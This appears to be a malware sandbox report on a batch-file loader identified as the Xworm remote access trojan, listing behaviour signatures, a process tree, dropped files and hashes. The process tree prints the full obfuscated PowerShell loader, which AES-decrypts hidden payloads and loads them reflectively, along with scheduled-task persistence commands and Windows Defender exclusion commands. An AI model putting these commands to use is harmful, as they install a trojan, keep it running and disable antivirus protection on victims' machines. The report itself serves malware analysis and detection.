Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 23:37

General

  • Target
    loaderv3.bat
  • Size 313KB
  • Sample240603-3mkwrseb62
  • SHA256 923b2cb4ee41f9cf83ab6168893010a5bf045f3b2f63036b5621376a2b28a602
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\loaderv3.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BeNTbQQz39PKYP6UH+LTwZIg6yK7iQUmQhgDpNChjOc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lA3ZCIg8fT4Tg2AfXWUfgA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bzwtQ=New-Object System.IO.MemoryStream(,$param_var); $VPyaU=New-Object System.IO.MemoryStream; $nmfAr=New-Object System.IO.Compression.GZipStream($bzwtQ, [IO.Compression.CompressionMode]::Decompress); $nmfAr.CopyTo($VPyaU); $nmfAr.Dispose(); $bzwtQ.Dispose(); $VPyaU.Dispose(); $VPyaU.ToArray();}function execute_function($param_var,$param2_var){ $ddivi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kaDAg=$ddivi.EntryPoint; $kaDAg.Invoke($null, $param2_var);}$vNdpF = 'C:\Users\Admin\AppData\Local\Temp\loaderv3.bat';$host.UI.RawUI.WindowTitle = $vNdpF;$zIDVK=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($vNdpF).Split([Environment]::NewLine);foreach ($bsSCK in $zIDVK) { if ($bsSCK.StartsWith(':: ')) { $kVsTu=$bsSCK.Substring(3); break; }}$payloads_var=[string[]]$kVsTu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3332
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_886_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_886.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4772
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_886.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3748
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_886.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4556
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BeNTbQQz39PKYP6UH+LTwZIg6yK7iQUmQhgDpNChjOc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lA3ZCIg8fT4Tg2AfXWUfgA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bzwtQ=New-Object System.IO.MemoryStream(,$param_var); $VPyaU=New-Object System.IO.MemoryStream; $nmfAr=New-Object System.IO.Compression.GZipStream($bzwtQ, [IO.Compression.CompressionMode]::Decompress); $nmfAr.CopyTo($VPyaU); $nmfAr.Dispose(); $bzwtQ.Dispose(); $VPyaU.Dispose(); $VPyaU.ToArray();}function execute_function($param_var,$param2_var){ $ddivi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kaDAg=$ddivi.EntryPoint; $kaDAg.Invoke($null, $param2_var);}$vNdpF = 'C:\Users\Admin\AppData\Roaming\startup_str_886.bat';$host.UI.RawUI.WindowTitle = $vNdpF;$zIDVK=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($vNdpF).Split([Environment]::NewLine);foreach ($bsSCK in $zIDVK) { if ($bsSCK.StartsWith(':: ')) { $kVsTu=$bsSCK.Substring(3); break; }}$payloads_var=[string[]]$kVsTu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4724
            • C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe
              "C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe"
              6⤵
              • Executes dropped EXE
              PID:3696
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2416
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4452
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\steamwebhelper.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1232
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'steamwebhelper.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3492
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "steamwebhelper" /tr "C:\ProgramData\steamwebhelper.exe"
              6⤵
              • Creates scheduled task(s)
              PID:5028
  • C:\ProgramData\steamwebhelper.exe
    C:\ProgramData\steamwebhelper.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:460

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        steamwebhelper.exe

        • Path C:\ProgramData\steamwebhelper.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 299f9fcb2628833eea10626dc3888f94f104d317cb95c846ef61e3cf4521efa7
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 c216eda372556eb78e680bde247c2fd2085642ee33031905a213c6bec502ccce
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_2pawhwqd.3t4.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2pawhwqd.3t4.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        seroxen.lib.exe

        • Path C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe
        • Size 10KB
        • SHA256 ab03b81ae4fa28295ed1a521f138d35de71fa9fc4f45360fa501e570feaa5665
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_886.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_886.bat
        • Size 313KB
        • SHA256 923b2cb4ee41f9cf83ab6168893010a5bf045f3b2f63036b5621376a2b28a602
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_886.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_886.vbs
        • Size 115B
        • SHA256 13c5c9d016c04169ca3ca62470173f48dc9aa6dba6fd9423f357d5ea46c3a75f
        • MD5 SHA1 SHA512

        memory/460-129-0x00000180C4880000-0x00000180C48F6000-memory.dmp

        memory/460-128-0x00000180C45B0000-0x00000180C45F4000-memory.dmp

        memory/3332-14-0x000001B89DE00000-0x000001B89DE3E000-memory.dmp

        memory/3332-63-0x00007FFB547C0000-0x00007FFB55281000-memory.dmp

        memory/3332-0-0x00007FFB547C3000-0x00007FFB547C5000-memory.dmp

        memory/3332-13-0x000001B89DDD0000-0x000001B89DDD8000-memory.dmp

        memory/3332-12-0x00007FFB547C0000-0x00007FFB55281000-memory.dmp

        memory/3332-11-0x00007FFB547C0000-0x00007FFB55281000-memory.dmp

        memory/3332-1-0x000001B89DD80000-0x000001B89DDA2000-memory.dmp

        memory/3696-62-0x0000000000090000-0x0000000000098000-memory.dmp

        memory/4724-51-0x000002044EAC0000-0x000002044EADC000-memory.dmp

        memory/4772-30-0x00007FFB547C0000-0x00007FFB55281000-memory.dmp

        memory/4772-27-0x00007FFB547C0000-0x00007FFB55281000-memory.dmp

        memory/4772-17-0x00007FFB547C0000-0x00007FFB55281000-memory.dmp

        memory/4772-16-0x00007FFB547C0000-0x00007FFB55281000-memory.dmp